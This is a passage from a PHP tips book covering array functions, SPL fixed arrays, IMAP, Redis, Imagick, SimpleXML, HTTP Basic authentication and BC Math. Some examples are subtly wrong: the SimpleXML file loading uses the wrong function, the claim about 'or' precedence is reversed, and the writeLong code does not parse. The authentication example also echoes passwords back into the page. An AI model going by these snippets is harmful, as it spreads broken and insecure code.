[4] => File2.stack
[0] => File8.stack
[2] => file7.stack
[3] => file13.stack
[1] => file77.stack
)
natcasesort()

Sort an array in a way a human being would do (natural order), but case intensive

$files = ['File8.stack', 'file77.stack', 'file7.stack', 'file13.stack', 'File2.stack'];

natcasesort($files);

Complete PHP Tips & Secrets for Professionals 350

print_r($files);

results in

Array
(
[4] => File2.stack
[2] => file7.stack
[0] => File8.stack
[3] => file13.stack
[1] => file77.stack
)
shuffle()

Shuffles an array (sorted randomly).

$array = ['aa', 'bb', 'cc'];

shuffle($array);
print_r($array);

As written in the description it is random so here only one example in what it can result

Array
(
[0] => cc
[1] => bb
[2] => aa
)
usort()

Sort an array with a user defined comparison function.

function compare($a, $b)

{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

$array = [3, 2, 5, 6, 1];

usort($array, 'compare');
print_r($array);

results in

Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
uasort()

Sort an array with a user defined comparison function and preserve the keys.

function compare($a, $b)

{
if ($a == $b) {

Complete PHP Tips & Secrets for Professionals 351

 return 0;
}
return ($a < $b) ? -1 : 1;
}

$array = ['a' => 1, 'b' => -3, 'c' => 5, 'd' => 3, 'e' => -5];
uasort($array, 'compare');
print_r($array);

results in

Array
(
[e] => -5
[b] => -3
[a] => 1
[d] => 3
[c] => 5
)
uksort()

Sort an array by keys with a user defined comparison function.

function compare($a, $b)

{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

$array = ['ee' => 1, 'g' => -3, '4' => 5, 'k' => 3, 'oo' => -5];

uksort($array, 'compare');
print_r($array);

results in

Array
(
[ee] => 1
[g] => -3
[k] => 3
[oo] => -5
[4] => 5
)

Section 89.4: Whitelist only some array keys

When you want to allow only certain keys in your arrays, especially when the array comes from request parameters,
you can use array_intersect_key together with array_flip.

$parameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam']; $allowedKeys = ['foo', 'bar']; $filteredParameters =
array_intersect_key($parameters, array_flip($allowedKeys)); // $filteredParameters contains ['foo' => 'bar', 'bar' =>
'baz]

If the parameters variable doesn't contain any allowed key, then the filteredParameters variable will consist of an
empty array.

Since PHP 5.6 you can use array_filter for this task too, passing the ARRAY_FILTER_USE_KEY flag as the third

Complete PHP Tips & Secrets for Professionals 352

parameter:

$parameters = ['foo' => 1, 'hello' => 'world']; $allowedKeys = ['foo', 'bar']; $filteredParameters = array_filter(
$parameters, function ($key) use ($allowedKeys) { return in_array($key, $allowedKeys); }, ARRAY_FILTER_USE_KEY );

Using array_filter gives the additional flexibility of performing an arbitrary test against the key, e.g. $allowedKeys
could contain regex patterns instead of plain strings. It also more explicitly states the intention of the code than
array_intersect_key() combined with array_flip().

Section 89.5: Adding element to start of array

Sometimes you want to add an element to the beginning of an array without modifying any of the current
elements (order) within the array. Whenever this is the case, you can use array_unshift().

array_unshift() prepends passed elements to the front of the array. Note that the list of elements is prepended
as a whole, so that the prepended elements stay in the same order. All numerical array keys will be modified to
start counting from zero while literal keys won't be touched.

Taken from the PHP documentation for array_unshift().

If you'd like to achieve this, all you need to do is the following:

$myArray = array(1, 2, 3);

array_unshift($myArray, 4);

This will now add 4 as the first element in your array. You can verify this by:

print_r($myArray);

This returns an array in the following order: 4, 1, 2, 3.

Since array_unshift forces the array to reset the key-value pairs as the new element let the following entries have
the keys n+1 it is smarter to create a new array and append the existing array to the newly created array.

Example:

$myArray = array('apples', 'bananas', 'pears');

$myElement = array('oranges');
$joinedArray = $myElement;

foreach ($myArray as $i) {

$joinedArray[] = $i;
}

Output ($joinedArray):

Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears )

Eaxmple/Demo

Section 89.6: Exchange values with keys

array_flip function will exchange all keys with its elements.

$colors = array(
'one' => 'red',
'two' => 'blue',
'three' => 'yellow',

Complete PHP Tips & Secrets for Professionals 353

);

array_flip($colors); //will output

array(
'red' => 'one',
'blue' => 'two',
'yellow' => 'three'
)

Section 89.7: Merge two arrays into one array

$a1 = array("red","green");
$a2 = array("blue","yellow");
print_r(array_merge($a1,$a2));

/*
Array ( [0] => red [1] => green [2] => blue [3] => yellow )
*/

Associative array:

$a1=array("a"=>"red","b"=>"green");
$a2=array("c"=>"blue","b"=>"yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [a] => red [b] => yellow [c] => blue )
*/

1. Merges the elements of one or more arrays together so that the values of one are appended to the end of
the previous one. It returns the resulting array.
2. If the input arrays have the same string keys, then the later value for that key will overwrite the previous one.
If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but will be
appended.
3. Values in the input array with numeric keys will be renumbered with incrementing keys starting from zero in
the result array.

Chapter 90: Executing Upon an Array

Section 90.1: Applying a function to each element of an array
To apply a function to every item in an array, use array_map(). This will return a new array.

$array = array(1,2,3,4,5);
//each array item is iterated over and gets stored in the function parameter.
$newArray = array_map(function($item) {
return $item + 1;
}, $array);

$newArray now is array(2,3,4,5,6);.

Instead of using an anonymous function, you could use a named function. The above could be written like:

function addOne($item) {
return $item + 1;
}

$array = array(1, 2, 3, 4, 5);

$newArray = array_map('addOne', $array);

Complete PHP Tips & Secrets for Professionals 354

If the named function is a class method the call of the function has to include a reference to a class object the
method belongs to:

class Example {
public function addOne($item) {
return $item + 1;
}

public function doCalculation() {

$array = array(1, 2, 3, 4, 5);
$newArray = array_map(array($this, 'addOne'), $array);
}
}

Another way to apply a function to every item in an array is array_walk() and array_walk_recursive(). The
callback passed into these functions take both the key/index and value of each array item. These functions will not
return a new array, instead a boolean for success. For example, to print every element in a simple array:

$array = array(1, 2, 3, 4, 5);

array_walk($array, function($value, $key) {
echo $value . ' ';
});
// prints "1 2 3 4 5"

The value parameter of the callback may be passed by reference, allowing you to change the value directly in the
original array:

$array = array(1, 2, 3, 4, 5);

array_walk($array, function(&$value, $key) {
$value++;
});

$array now is array(2,3,4,5,6);

For nested arrays, array_walk_recursive() will go deeper into each sub-array:

$array = array(1, array(2, 3, array(4, 5), 6);

array_walk_recursive($array, function($value, $key) {
echo $value . ' ';
});
// prints "1 2 3 4 5 6"

Note: array_walk and array_walk_recursive let you change the value of array items, but not the keys. Passing the
keys by reference into the callback is valid but has no effect.

Section 90.2: Split array into chunks

array_chunk() splits an array into chunks

Let's say we've following single dimensional array,

$input_array = array('a', 'b', 'c', 'd', 'e');

Now using array_chunk() on above PHP array,

$output_array = array_chunk($input_array, 2);

Above code will make chunks of 2 array elements and create a multidimensional array as follow.

Array

Complete PHP Tips & Secrets for Professionals 355

(
[0] => Array
(
[0] => a
[1] => b
)

[1] => Array

(
[0] => c
[1] => d
)

[2] => Array

(
[0] => e
)

If all the elements of the array is not evenly divided by the chunk size, last element of the output array will be
remaining elements.

If we pass second argument as less then 1 then E_WARNING will be thrown and output array will be NULL.

Parameter Details
$array (array) Input array, the array to work on
$size (int) Size of each chunk ( Integer value)
$preserve_keys (boolean) (optional) If you want output array to preserve the keys set it to TRUE otherwise FALSE.

Section 90.3: Imploding an array into string

implode() combines all the array values but looses all the key info:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", $arr); // AA BB CC

Imploding keys can be done using array_keys() call:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", array_keys($arr)); // a b c

Imploding keys with values is more complex but can be done using functional style:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", array_map(function($key, $val) {

return "$key:$val"; // function that glues key to the value
}, array_keys($arr), $arr));

// Output: a:AA b:BB c:CC

Section 90.4: "Destructuring" arrays using list()

Use list() to quick assign a list of variable values into an array. See also compact()

// Assigns to $a, $b and $c the values of their respective array elements in $array with
keys numbered from zero
list($a, $b, $c) = $array;

Complete PHP Tips & Secrets for Professionals 356

With PHP 7.1 (currently in beta) you will be able to use short list syntax:

// Assigns to $a, $b and $c the values of their respective array elements in $array with keys
numbered from zero
[$a, $b, $c] = $array;

// Assigns to $a, $b and $c the values of the array elements in $array with the keys "a", "b" and
"c", respectively
["a" => $a, "b" => $b, "c" => $c] = $array;

Section 90.5: array_reduce

array_reduce reduces array into a single value. Basically, The array_reduce will go through every item with the
result from last iteration and produce new value to the next iteration.

Usage: array_reduce ($array, function($carry, $item){...}, $defaul_value_of_first_carry)

$carry is the result from the last round of iteration.

$item is the value of current position in the array.

Sum of array

$result = array_reduce([1, 2, 3, 4, 5], function($carry, $item){

return $carry + $item;
});

result:15

The largest number in array

$result = array_reduce([10, 23, 211, 34, 25], function($carry, $item){

return $item > $carry ? $item : $carry;
});

result:211

Is all item more than 100

$result = array_reduce([101, 230, 210, 341, 251], function($carry, $item){

return $carry && $item > 100;
}, true); //default value must set true

result:true

Is any item less than 100

$result = array_reduce([101, 230, 21, 341, 251], function($carry, $item){

return $carry || $item < 100;
}, false);//default value must set false

result:true

Like implode($array, $piece)

$result = array_reduce(["hello", "world", "PHP", "language"], function($carry, $item){

return !$carry ? $item : $carry . "-" . $item ;
});

result:"hello-world-PHP-language"

Complete PHP Tips & Secrets for Professionals 357

if make a implode method, the source code will be :

function implode_method($array, $piece){

return array_reduce($array, function($carry, $item) use ($piece) {
return !$carry ? $item : ($carry . $piece . $item);
});
}

$result = implode_method(["hello", "world", "PHP", "language"], "-");

result:"hello-world-PHP-language"

Section 90.6: Push a Value on an Array

There are two ways to push an element to an array: array_push and $array[] =

The array_push is used like this:

$array = [1,2,3];
$newArraySize = array_push($array, 5, 6); // The method returns the new size of the array
print_r($array); // Array is passed by reference, therefore the original array is modified to contain
the new elements

This code will print:

Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)

$array[] = is used like this:

$array = [1,2,3];
$array[] = 5;
$array[] = 6;
print_r($array);

This code will print:

Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)

Chapter 91: Processing Multiple Arrays Together

Section 91.1: Array intersection
The array_intersect function will return an array of values that exist in all arrays that were passed to this function.

$array_one = ['one', 'two', 'three'];

$array_two = ['two', 'three', 'four'];
$array_three = ['two', 'three'];

Complete PHP Tips & Secrets for Professionals 358

$intersect = array_intersect($array_one, $array_two, $array_three);
// $intersect contains ['two', 'three']

Array keys are preserved. Indexes from the original arrays are not.

array_intersect only check the values of the arrays. array_intersect_assoc function will return intersection of
arrays with keys.

$array_one = [1 => 'one',2 => 'two',3 => 'three'];

$array_two = [1 => 'one', 2 => 'two', 3 => 'two', 4 => 'three'];
$array_three = [1 => 'one', 2 => 'two'];

$intersect = array_intersect_assoc($array_one, $array_two, $array_three);

// $intersect contains [1 =>'one',2 => 'two']

array_intersect_key function only check the intersection of keys. It will returns keys exist in all arrays.

$array_one = [1 => 'one',2 => 'two',3 => 'three'];

$array_two = [1 => 'one', 2 => 'two', 3 => 'four'];
$array_three = [1 => 'one', 3 => 'five'];

$intersect = array_intersect_key($array_one, $array_two, $array_three);

// $intersect contains [1 =>'one',3 => 'three']

Section 91.2: Merge or concatenate arrays

$fruit1 = ['apples', 'pears'];
$fruit2 = ['bananas', 'oranges'];

$all_of_fruits = array_merge($fruit1, $fruit2);

// now value of $all_of_fruits is [0 => 'apples', 1 => 'pears', 2 => 'bananas', 3 => 'oranges']

Note that array_merge will change numeric indexes, but overwrite string indexes

$fruit1 = ['one' => 'apples', 'two' => 'pears'];

$fruit2 = ['one' => 'bananas', 'two' => 'oranges'];

$all_of_fruits = array_merge($fruit1, $fruit2);

// now value of $all_of_fruits is ['one' => 'bananas', 'two' => 'oranges']

array_merge overwrites the values of the first array with the values of the second array, if it cannot renumber the
index.

You can use the + operator to merge two arrays in a way that the values of the first array never get overwritten, but
it does not renumber numeric indexes, so you lose values of arrays that have an index that is also used in the first
array.

$fruit1 = ['one' => 'apples', 'two' => 'pears'];

$fruit2 = ['one' => 'bananas', 'two' => 'oranges'];

$all_of_fruits = $fruit1 + $fruit2;

// now value of $all_of_fruits is ['one' => 'apples', 'two' => 'pears']

$fruit1 = ['apples', 'pears'];

$fruit2 = ['bananas', 'oranges'];

$all_of_fruits = $fruit1 + $fruit2;

// now value of $all_of_fruits is [0 => 'apples', 1 => 'pears']

Complete PHP Tips & Secrets for Professionals 359

Section 91.3: Changing a multidimensional array to associative array
If you have a multidimensional array like this:

[
['foo', 'bar'],
['fizz', 'buzz'],
]

And you want to change it to an associative array like this:

[
'foo' => 'bar',
'fizz' => 'buzz',
]

You can use this code:

$multidimensionalArray = [
['foo', 'bar'],
['fizz', 'buzz'],
];
$associativeArrayKeys = array_column($multidimensionalArray, 0);
$associativeArrayValues = array_column($multidimensionalArray, 1);
$associativeArray = array_combine($associativeArrayKeys, $associativeArrayValues);

Or, you can skip setting $associativeArrayKeys and $associativeArrayValues and use this simple one liner:

$associativeArray = array_combine(array_column($multidimensionalArray, 0),

array_column($multidimensionalArray, 1));

Section 91.4: Combining two arrays (keys from one, values from another)
The following example shows how to merge two arrays into one associative array, where the key values will be the
items of the first array, and the values will be from the second:

$array_one = ['key1', 'key2', 'key3'];

$array_two = ['value1', 'value2', 'value3'];

$array_three = array_combine($array_one, $array_two);

var_export($array_three);

/*
array (
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3',
)
*/

Chapter 92: SPL data structures

Section 92.1: SplFixedArray
Difference from PHP Array

PHP's default Array type is actually implemented as ordered hash maps, which allow us to create arrays that consist
of key/value pairs where values can be of any type and keys can be either numbers or strings. This is not
traditionally how arrays are created, however.

Complete PHP Tips & Secrets for Professionals 360

So as you can see from this illustration a normal PHP array can be viewed more like an an ordered set of key/value
pairs, where each key can map to any value. Notice in this array we have keys that are both numbers and strings, as
well as values of different types and the key has no bearing on the order of the elements.

$arr = [
9 => "foo",
1 => 4.2,
"bar" => null,
];

foreach($arr as $key => $value) {

echo "$key => $value\n";
}

So the above code would give us exactly what we'd expect.

9 => foo 1 => 4.2 bar =>

Regular PHP arrays are also dynamically sized for us. They grow and shrink as we push and pop values to and from
the array, automatically.

Complete PHP Tips & Secrets for Professionals 361

However, in a traditional array the size is fixed and consists entirely of the same type of value. Also, rather than
keys each value is access by its index, which can be deduced by its offset in the array.

Since we would know the size of a given type and the fixed size of the array an offset is then the type size * n
were n represents the value's position in the array. So in the example above $arr[0] gives us 1, the first element in
the array and $arr[1] gives us 2, and so on.

SplFixedArray, however, doesn't restrict the type of values. It only restricts the keys to number types. It's also of a
fixed size.

This makes SplFixedArrays more efficient than normal PHP arrays in one particular way. They are more compact so
they require less memory.

Instantiating the array

SplFixedArray is implemented as an object, but it can be accessed with the same familiar syntax that you access a
normal PHP array since they implement the ArrayAccess interface. They also implement Countable and Iterator
interfaces so they behave the same way you'd be used to arrays behaving in PHP (i.e. things like count($arr) and
foreach($arr as $k => $v) work the same way for SplFixedArray as they do normal arrays in PHP.

The SplFixedArray constructor takes one argument, which is the size of the array.

$arr = new SplFixedArray(4);

$arr[0] = "foo";
$arr[1] = "bar";
$arr[2] = "baz";

foreach($arr as $key => $value) {

echo "$key => $value\n";
}

This gives you what you would expect.

0 => foo 1 => bar 2 => baz 3 =>

Complete PHP Tips & Secrets for Professionals 362

This also works as expected.

var_dump(count($arr));

Gives us...

int(4)

Notice in SplFixedArray, unlike a normal PHP Array, the key does depict the order of the element in our array,
because it is a true index and not just a map.

Resizing the array

Just keep in mind that because the array is of a fixed size, count will always return the same value. So while
unset($arr[1]) will result in $arr[1] === null, count($arr) still remains 4.

So to resize the array you will need to call on the setSize method.

$arr->setSize(3);

var_dump(count($arr));

foreach($arr as $key => $value) {

echo "$key => $value\n";
}

Now we get...

int(3) 0 => foo 1 => 2 => baz Import to SplFixedArray & Export from SplFixedArray

You can also import/export a normal PHP Array into and out of an SplFixedArray with the fromArray and toArray
methods.

$array = [1,2,3,4,5];
$fixedArray = SplFixedArray::fromArray($array);

foreach($fixedArray as $value) {
echo $value, "\n";
}
12345

Going the other way.

$fixedArray = new SplFixedArray(5);

$fixedArray[0] = 1;
$fixedArray[1] = 2;
$fixedArray[2] = 3;
$fixedArray[3] = 4;
$fixedArray[4] = 5;

$array = $fixedArray->toArray();

foreach($array as $value) {
echo $value, "\n";
}
12345

Complete PHP Tips & Secrets for Professionals 363

Chapter 93: Comments
Section 93.1: Single Line Comments
The single line comment begins with "//" or "#". When encountered, all text to the right will be ignored by the PHP
interpreter.

// This is a comment

# This is also a comment

echo "Hello World!"; // This is also a comment, beginning where we see "//"

Section 93.2: Multi Line Comments

The multi-line comment can be used to comment out large blocks of code. It begins with /* and ends with */.

/* This is a multi-line comment.

It spans multiple lines.
This is still part of the comment.
*/

Chapter 94: IMAP

Section 94.1: Connecting to a mailbox
To do anything with an IMAP account you need to connect to it first. To do this you need to specify some required
parameters:

The server name or IP address of the mail server

The port you wish to connect on
IMAP is 143 or 993 (secure)
POP is 110 or 995 (secure)
SMTP is 25 or 465 (secure)
NNTP is 119 or 563 (secure)
Connection flags (see below)

Flag Description Options Default

imap,
/service=service Which service to use pop3, imap
nntp, smtp
/user=user remote user name for login on the server
remote authentication user; if specified this is the user name whose
/authuser=user
password is used (e.g. administrator)
/anonymous remote access as anonymous user
/debug record protocol telemetry in application's debug log disabled
/secure do not transmit a plaintext password over the network
/norsh do not use rsh or ssh to establish a preauthenticated IMAP session
/ssl use the Secure Socket Layer to encrypt the session
/validate-cert certificates from TLS/SSL server enabled
do not validate certificates from TLS/SSL server, needed if server uses self-
/novalidate-cert disabled
signed certificates. USE WITH CAUTION
force use of start-TLS to encrypt the session, and reject connection to
/tls
servers that do not support it
/notls do not do start-TLS to encrypt the session, even with servers that support it
request read-only mailbox open (IMAP only; ignored on NNTP, and an error
/readonly
with SMTP and POP3)

Complete PHP Tips & Secrets for Professionals 364

Your connection string will look something like this:

{imap.example.com:993/imap/tls/secure}

Please note that if any of the characters in your connection string is non-ASCII it must be encoded with
utf7_encode($string).

To connect to the mailbox, we use the imap_open command which returns a resource value pointing to a stream:

<?php
$mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password");
if ($mailbox === false) {
echo "Failed to connect to server";
}

Section 94.2: Install IMAP extension

To use the IMAP functions in PHP you'll need to install the IMAP extension:

Debian/Ubuntu with PHP5

sudo apt-get install php5-imap

sudo php5enmod imap

Debian/Ubuntu with PHP7

sudo apt-get install php7.0-imap

YUM based distro

sudo yum install php-imap

Mac OS X with php5.6

brew reinstall php56 --with-imap

Section 94.3: List all folders in the mailbox

Once you've connected to your mailbox, you'll want to take a look inside. The first useful command is imap_list. The
first parameter is the resource you acquired from imap_open, the second is your mailbox string and the third is a
fuzzy search string (* is used to match any pattern).

$folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*");

if ($folders === false) {
echo "Failed to list folders in mailbox";
} else {
print_r($folders);
}

The output should look similar to this

Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX
[1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
[2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts
[3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk
[4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash
)

Complete PHP Tips & Secrets for Professionals 365

You can use the third parameter to filter these results like this:

$folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*.Sent");

And now the result only contains entries with .Sent in the name:

Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
)

Note: Using * as a fuzzy search will return all matches recursively. If you use % it will return only matches in the
current folder specified.

Section 94.4: Finding messages in the mailbox

You can return a list of all the messages in a mailbox using imap_headers.

<?php
$headers = imap_headers($mailbox);

The result is an array of strings with the following pattern:

[FLAG] [MESSAGE-ID])[DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE] chars)

Here's a sample of what each line could look like:

A 1)19-Aug-2016 [email protected] Message Subject (1728 chars)

D 2)19-Aug-2016 [email protected] RE: Message Subject (22840 chars)
U 3)19-Aug-2016 [email protected] RE: RE: Message Subject (1876 chars)
N 4)19-Aug-2016 [email protected] RE: RE: RE: Message Subje (1741 chars)
Symbol Flag Meaning
A Answered Message has been replied to
D Deleted Message is deleted (but not removed)
F Flagged Message is flagged/stared for attention
N New Message is new and has not been seen
R Recent Message is new and has been seen
U Unread Message has not been read
X Draft Message is a draft

Note that this call could take a fair amount of time to run and may return a very large list.

An alternative is to load individual messages as you need them. Your emails are each assigned an ID from 1 (the
oldest) to the value of imap_num_msg($mailbox).

There are a number of functions to access an email directly, but the simplest way is to use imap_header which
returns structured header information:

<?php
$header = imap_headerinfo($mailbox , 1);

stdClass Object
(
[date] => Wed, 19 Oct 2011 17:34:52 +0000
[subject] => Message Subject
[message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490>
[references] => <[email protected]>
[toaddress] => Some One Else <[email protected]>
[to] => Array
(

Complete PHP Tips & Secrets for Professionals 366

 [0] => stdClass Object
(
[personal] => Some One Else
[mailbox] => someonelse
[host] => example.com
)
)
[fromaddress] => Some One <[email protected]>
[from] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[reply_toaddress] => Some One <[email protected]>
[reply_to] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[senderaddress] => Some One <[email protected]>
[sender] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[Recent] =>
[Unseen] =>
[Flagged] =>
[Answered] =>
[Deleted] =>
[Draft] =>
[Msgno] => 1
[MailDate] => 19-Oct-2011 17:34:48 +0000
[Size] => 1728
[udate] => 1319038488
)

Chapter 95: Using Redis with PHP

Section 95.1: Connecting to a Redis instance
Assuming a default server running on localhost with the default port, the command to connect to that Redis server
would be:

$redis = new Redis();

$redis->connect('127.0.0.1', 6379);

Complete PHP Tips & Secrets for Professionals 367

Section 95.2: Installing PHP Redis on Ubuntu
To install PHP on Ubuntu, first install the Redis server:

sudo apt install redis-server

then install the PHP module:

sudo apt install php-redis

And restart the Apache server:

sudo service apache2 restart

Section 95.3: Executing Redis commands in PHP

The Redis PHP module gives access to the same commands as the Redis CLI client so it is quite straightforward to
use.

The syntax is as follow:

// Creates two new keys:

$redis->set('mykey-1', 123);
$redis->set('mykey-2', 'abcd');

// Gets one key (prints '123')

var_dump($redis->get('mykey-1'));

// Gets all keys starting with 'my-key-'

// (prints '123', 'abcd')
var_dump($redis->keys('mykey-*'));

Chapter 96: Imagick

Section 96.1: First Steps
Installation

Using apt on Debian based systems

sudo apt-get install php5-imagick

Using Homebrew on OSX/macOs

brew install imagemagick

To see the dependencies installed using the brew method, visit brewformulas.org/Imagemagick.

Using binary releases

Instructions on imagemagick website.

Usage

<?php

$imagen = new Imagick('imagen.jpg');

$imagen->thumbnailImage(100, 0);
//if you put 0 in the parameter aspect ratio is maintained

Complete PHP Tips & Secrets for Professionals 368

echo $imagen;

?>

Section 96.2: Convert Image into base64 String

This example is how to turn an image into a Base64 string (i.e. a string you can use directly in a src attribute of an
img tag). This example specifically uses the Imagick library (there are others available, such as GD as well).

<?php
/**
* This loads in the file, image.jpg for manipulation.
* The filename path is releative to the .php file containing this code, so
* in this example, image.jpg should live in the same directory as our script.
*/
$img = new Imagick('image.jpg');

/**
* This resizes the image, to the given size in the form of width, height.
* If you want to change the resolution of the image, rather than the size
* then $img->resampleimage(320, 240) would be the right function to use.
*
* Note that for the second parameter, you can set it to 0 to maintain the
* aspect ratio of the original image.
*/
$img->resizeImage(320, 240);

/**
* This returns the unencoded string representation of the image
*/
$imgBuff = $img->getimageblob();

/**
* This clears the image.jpg resource from our $img object and destroys the
* object. Thus, freeing the system resources allocated for doing our image
* manipulation.
*/
$img->clear();

/**
* This creates the base64 encoded version of our unencoded string from
* earlier. It is then output as an image to the page.
*
* Note, that in the src attribute, the image/jpeg part may change based on
* the image type you're using (i.e. png, jpg etc).
*/
$img = base64_encode($imgBuff);
echo "<img alt='Embedded Image' src='data:image/jpeg;base64,$img' />";

Chapter 97: SimpleXML

Section 97.1: Loading XML data into simplexml
Loading from string

Use simplexml_load_string to create a SimpleXMLElement from a string:

$xmlString = "<?xml version='1.0' encoding='UTF-8'?>";

$xml = simplexml_load_string($xmlString) or die("Error: Cannot create object");

Note that or not || must be used here because the precedence of or is higher than =. The code after or will only be

Complete PHP Tips & Secrets for Professionals 369

executed if $xml finally resolves to false.

Loading from file

Use simplexml_load_file to load XML data from a file or a URL:

$xml = simplexml_load_string("filePath.xml");

$xml = simplexml_load_string("https://example.com/doc.xml");

The URL can be of any schemes that PHP supports, or custom stream wrappers.

Chapter 98: HTTP Authentication

In this topic we gonna make a HTTP-Header authenticate script.

Section 98.1: Simple authenticate

PLEASE NOTE: ONLY PUT THIS CODE IN THE HEADER OF THE PAGE, OTHERWISE IT WILL NOT WORK!

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
}
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
$user = $_SERVER['PHP_AUTH_USER']; //Lets save the information
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
$pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)!
?>
//You html page

Chapter 99: Recipes

This topic is a collection of solutions to common tasks in PHP. The examples provided here will help you overcome
a specific problem. You should already be familiar with the basics of PHP.

Section 99.1: Create a site visit counter

<?php
$visit = 1;

if(file_exists("counter.txt"))
{
$fp = fopen("counter.txt", "r");
$visit = fread($fp, 4);
$visit = $visit + 1;
}

$fp = fopen("counter.txt", "w");

fwrite($fp, $visit);
echo "Total Site Visits: " . $visit;
fclose($fp);

Complete PHP Tips & Secrets for Professionals 370

Chapter 100: BC Math (Binary Calculator)
string bcadd ( string $left_operand , string $right_operand [, int $scale = 0 ] )
int bccomp ( string $left_operand , string $right_operand [, int $scale = 0 ] )
string bcdiv ( string $left_operand , string $right_operand [, int $scale = 0 ] )
string bcmod ( string $left_operand , string $modulus )
string bcmul ( string $left_operand , string $right_operand [, int $scale = 0 ] )
string bcpowmod ( string $left_operand , string $right_operand , string $modulus [, int $scale = 0 ] )
bool bcscale ( int $scale )
string bcsqrt ( string $operand [, int $scale = 0 ] )
string bcsub ( string $left_operand , string $right_operand [, int $scale = 0 ] )

bcadd Add two arbitrary precision numbers.

left_operand The left operand, as a string.
right_operand The right operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bccomp Compare two arbitrary precision numbers.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
A optional parameter to set the number of digits after the decimal place which will be used in the
scale
comparison.
bcdiv Divide two arbitrary precision numbers.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bcmod Get modulus of an arbitrary precision number.
left_operand The left operand, as a string.
modulus The modulus, as a string.
bcmul Multiply two arbitrary precision numbers.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bcpow Raise an arbitrary precision number to another.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bcpowmod Raise an arbitrary precision number to another, reduced by a specified modulus.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
modulus The modulus, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bcscale Set default scale parameter for all bc math functions.
scale The scale factor.
bcsqrt Get the square root of an arbitrary precision number.
operand The operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.
bcsub Subtract one arbitrary precision number from another.
left_operand The left operand, as a string.
right_operand The right operand, as a string.
scale A optional parameter to set the number of digits after the decimal place in the result.

The Binary Calculator can be used to calculate with numbers of any size and precision up to 2147483647-1
decimals, in string format. The Binary Calculator is more precise than the float calculation of PHP.

Complete PHP Tips & Secrets for Professionals 371

Section 100.1: Using bcmath to read/write a binary long on 32-bit system
On 32-bit systems, integers greater than 0x7FFFFFFF cannot be stored primitively, while integers between
0x0000000080000000 and 0x7FFFFFFFFFFFFFFF can be stored primitively on 64-bit systems but not 32-bit systems
(signed long long). However, since 64-bit systems and many other languages support storing signed long long
integers, it is sometimes necessary to store this range of integers in exact value. There are several ways to do so,
such as creating an array with two numbers, or converting the integer into its decimal human-readable form. This
has several advantages, such as the convenience in presenting to the user, and the ability to manipulate it with
bcmath directly.

The pack/unpack methods can be used to convert between binary bytes and decimal form of the numbers (both of
type string, but one is binary and one is ASCII), but they will always try to cast the ASCII string into a 32-bit int on
32-bit systems. The following snippet provides an alternative:

/** Use pack("J") or pack("p") for 64-bit systems */

function writeLong(string $ascii) : string {
if(bccomp($ascii, "0") === -1) { // if $ascii < 0
// 18446744073709551616 is equal to (1 << 64)
// remember to add the quotes, or the number will be parsed as a float literal
$ascii = bcadd($ascii, "18446744073709551616");
}

// "n" is big-endian 16-bit unsigned short. Use "v" for small-endian.

return pack("n", bcmod(bcdiv($ascii, "281474976710656"), "65536")) .
pack("n", bcmod(bcdiv($ascii, "4294967296"), "65536")) .
pack("n", bcdiv($ascii, "65536"), "65536")) .
pack("n", bcmod($ascii, "65536"));
}

function readLong(string $binary) : string {

$result = "0";
$result = bcadd($result, unpack("n", substr($binary, 0, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 2, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 4, 2)));
$result = bcmul($result, "65536");
$result = bcadd($result, unpack("n", substr($binary, 6, 2)));

// if $binary is a signed long long

// 9223372036854775808 is equal to (1 << 63) (note that this expression actually does not work
even on 64-bit systems)
